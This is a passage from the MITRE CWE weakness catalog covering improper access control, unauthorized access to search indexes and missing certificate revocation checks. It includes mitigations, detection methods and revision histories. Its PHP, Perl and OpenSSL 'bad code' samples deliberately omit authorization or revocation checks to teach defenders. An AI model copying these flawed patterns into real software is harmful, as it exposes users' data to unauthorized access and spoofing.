NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.284Improper Access Control
+ Background Details
An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.

Architecture and Design

Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.

Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Web Server (Often Prevalent)

Database Server (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data; Read Files or Directories

An attacker could read sensitive data, either by reading the data directly from a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.
Integrity

Technical Impact: Modify Application Data; Modify Files or Directories

An attacker could modify sensitive data, either by writing the data directly to a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.
Access Control

Technical Impact: Gain Privileges or Assume Identity

An attacker could gain privileges by modifying or reading critical data directly, or by accessing insufficiently-protected, privileged functionality.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This function runs an arbitrary SQL query on a given database, returning the result of the query.

(bad code)
Example Language: PHP 
function runEmployeeQuery($dbName, $name){
mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);
//Use a prepared statement to avoid CWE-89
$preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');
$preparedStatement->execute(array(':name' => $name));
return $preparedStatement->fetchAll();
}
/.../

$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.

Example 2

The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that LookupMessageObject() ensures that the $id argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

(bad code)
Example Language: Perl 
sub DisplayPrivateMessage {
my($id) = @_;
my $Message = LookupMessageObject($id);
print "From: " . encodeHTML($Message->{from}) . "<br>\n";
print "Subject: " . encodeHTML($Message->{subject}) . "\n";
print "<hr>\n";
print "Body: " . encodeHTML($Message->{body}) . "\n";
}

my $q = new CGI;
# For purposes of this example, assume that CWE-309 and


# CWE-523 do not apply.
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
ExitError("invalid username or password");
}

my $id = $q->param('id');
DisplayPrivateMessage($id);

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.

+ Observed Examples
ReferenceDescription
Go-based continuous deployment product does not check that a user has certain privileges to update or create an app, allowing adversaries to read sensitive repository information
Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords.
Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users.
Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request.
Terminal server does not check authorization for guest access.
Database server does not use appropriate privileges for certain sensitive operations.
Gateway uses default "Allow" configuration for its authorization settings.
Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.
Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect.
System monitoring software allows users to bypass authorization by creating custom forms.
Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client.
Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access.
Content management system does not check access permissions for private files, allowing others to view those files.
ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions.
Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files.
Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries.
Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header.
OS kernel does not check for a certain privilege before setting ACLs for files.
Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied.
Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.
+ Potential Mitigations

Phase: Architecture and Design

Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.

Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Phase: Architecture and Design

Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

Phase: Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.

One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

Phases: System Configuration; Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
+ Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.

Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

Effectiveness: Limited

Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness: Moderate

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Host Application Interface Scanner
  • Fuzz Tester
  • Framework-based Fuzzer
  • Forced Path Execution
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2547PK - Security Features
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.721OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7532009 Top 25 - Porous Defenses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8032010 Top 25 - Porous Defenses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.817OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.935OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.945SFP Secondary Cluster: Insecure Resource Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1031OWASP Top Ten 2017 Category A5 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1382ICS Operations (& Maintenance): Emerging Energy Technologies
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

CWE-285 is high-level and lower-level CWEs can frequently be used instead. It is a level-1 Class (i.e., a child of a Pillar).

Comments:

Look at CWE-285's children and consider mapping to CWEs such as CWE-862: Missing Authorization, CWE-863: Incorrect Authorization, CWE-732: Incorrect Permission Assignment for Critical Resource, or others.
Suggestions:
CWE-IDComment
CWE-862Missing Authorization
CWE-863Incorrect Authorization
CWE-732Incorrect Permission Assignment for Critical Resource
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsMissing Access Control
OWASP Top Ten 2007A10CWE More SpecificFailure to Restrict URL Access
OWASP Top Ten 2004A2CWE More SpecificBroken Access Control
Software Fault PatternsSFP35Insecure resource access
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-229] NIST. "Role Based Access Control and Role Based Security". <https://csrc.nist.gov/projects/role-based-access-control>. URL validated: 2023-04-07.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 4, "Authorization" Page 114; Chapter 6, "Determining Appropriate Access Control" Page 171. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-231] Frank Kim. "Top 25 Series - Rank 5 - Improper Access Control (Authorization)". SANS Software Security Institute. 2010-03-04. <https://www.sans.org/blog/top-25-series-rank-5-improper-access-control-authorization/>. URL validated: 2023-04-07.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-233] Rahul Bhattacharjee. "Authentication using JAAS". <https://javaranch.com/journal/2008/04/authentication-using-JAAS.html>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Authorization", Page 39. 1st Edition. Addison Wesley. 2006.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 11, "ACL Inheritance", Page 649. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Description, Likelihood_of_Exploit, Name, Other_Notes, Potential_Mitigations, References, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Description, Related_Attack_Patterns
2009-07-27CWE Content TeamMITRE
updated Relationships
2009-10-29CWE Content TeamMITRE
updated Type
2009-12-28CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Modes_of_Introduction, Observed_Examples, Relationships
2010-02-16CWE Content TeamMITRE
updated Alternate_Terms, Detection_Factors, Potential_Mitigations, References, Relationships
2010-04-05CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Description
2011-03-24CWE Content TeamMITRE
Changed name and description; clarified difference between "access control" and "authorization."
2011-03-29CWE Content TeamMITRE
updated Background_Details, Demonstrative_Examples, Description, Name, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Observed_Examples, Relationships
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References, Relationships
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Alternate_Terms
2021-07-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Missing or Inconsistent Access Control
2011-03-29Improper Access Control (Authorization)

CWE-612: Improper Authorization of Index Containing Sensitive Information

Weakness ID: 612
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product creates a search index of private or sensitive documents, but it does not properly limit index access to actors who are authorized to see the original information.
+ Extended Description
Web sites and other document repositories may apply an indexing routine against a group of private documents to facilitate search. If the index's results are available to parties who do not have access to the documents being indexed, then attackers could obtain portions of the documents by conducting targeted searches and reading the results. The risk is especially dangerous if search results include surrounding text that was not part of the search query. This issue can appear in search engines that are not configured (or implemented) to ignore critical files that should remain hidden; even without permissions to download these files directly, the remote user could read them.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1230Exposure of Sensitive Information Through Metadata
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Observed Examples
ReferenceDescription
A search application's access control rules are not properly applied to indices for data streams, allowing for the viewing of sensitive information.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

This weakness is probably under-studied and under-reported.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
WASC48Insecure Indexing
+ References
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Other_Notes, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Other_Notes, Research_Gaps
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Description, Name, References, Relationships, Type
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Information Leak Through Insecure Indexing
2011-03-29Information Leak Through Indexing of Private Data
2020-02-24Information Exposure Through Indexing of Private Data

CWE-299: Improper Check for Certificate Revocation

Weakness ID: 299
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not check or incorrectly checks the revocation status of a certificate, which may cause it to use a certificate that has been compromised.
+ Extended Description
An improper check for certificate revocation is a far more serious flaw than related certificate failures. This is because the use of any revoked certificate is almost certainly malicious. The most common reason for certificate revocation is compromise of the system in question, with the result that no legitimate servers will be using a revoked certificate, unless they are sorely out of sync.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.404Improper Resource Shutdown or Release
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.295Improper Certificate Validation
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.370Missing Check for Certificate Revocation after Initial Check
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1014Identify Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationWhen the product uses certificate pinning, the developer might not properly validate all relevant components of the certificate before pinning the certificate. This can make it difficult or expensive to test after the pinning is complete.
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

Trust may be assigned to an entity who is not who it claims to be.
Integrity
Other

Technical Impact: Other

Data from an untrusted (and possibly malicious) source may be integrated.
Confidentiality

Technical Impact: Read Application Data

Data may be disclosed to an entity impersonating a trusted entity, resulting in information disclosure.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

The following OpenSSL code ensures that there is a certificate before continuing execution.

(bad code)
Example Language:
if (cert = SSL_get_peer_certificate(ssl)) {

// got a certificate, do secret things

Because this code does not use SSL_get_verify_results() to check the certificate, it could accept certificates that have been revoked (X509_V_ERR_CERT_REVOKED). The product could be communicating with a malicious host.

+ Observed Examples
ReferenceDescription
LDAP-over-SSL implementation does not check Certificate Revocation List (CRL), allowing spoofing using a revoked certificate.
Operating system does not check Certificate Revocation List (CRL) in some cases, allowing spoofing using a revoked certificate.
Antivirus product does not check whether certificates from signed executables have been revoked.
Web browser does not check if any intermediate certificates are revoked.
chain: Ruby module for OCSP misinterprets a response, preventing detection of a revoked certificate.
chain: incorrect parsing of replies from OCSP responders allows bypass using a revoked certificate.
Router can permanently cache certain public keys, which would allow bypass if the certificate is later revoked.
chain: OS package manager does not properly check the return value, allowing bypass using a revoked certificate.
chain: language interpreter does not properly check the return value from an OSCP function, allowing bypass using a revoked certificate.
chain: web service component does not call the expected method, which prevents a check for revoked certificates.
Certificate revocation list not searched for certain certificates.
Product cannot access certificate revocation list when an HTTP proxy is being used.
+ Potential Mitigations

Phase: Architecture and Design

Ensure that certificates are checked for revoked status.

Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the revoked status.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.948SFP Secondary Cluster: Digital Certificate
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPFailure to check for certificate revocation
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 23: Improper Use of PKI, Especially SSL." Page 347. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Description, Name, Relationships
2009-05-27CWE Content TeamMITRE
updated Relationships
2010-12-13CWE Content TeamMITRE
updated Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2013-02-21CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Observed_Examples, Other_Notes, Relationships, Type
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Modes_of_Introduction, Relationships, Type
2018-03-27CWE Content TeamMITRE
updated Modes_of_Introduction, Potential_Mitigations, Time_of_Introduction
2019-09-19CWE Content TeamMITRE
updated Demonstrative_Examples
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-01-31CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Modes_of_Introduction
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-03-10Failure to Check for Certificate Revocation

CWE-273: Improper Check for Dropped Privileges

Weakness ID: 273
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
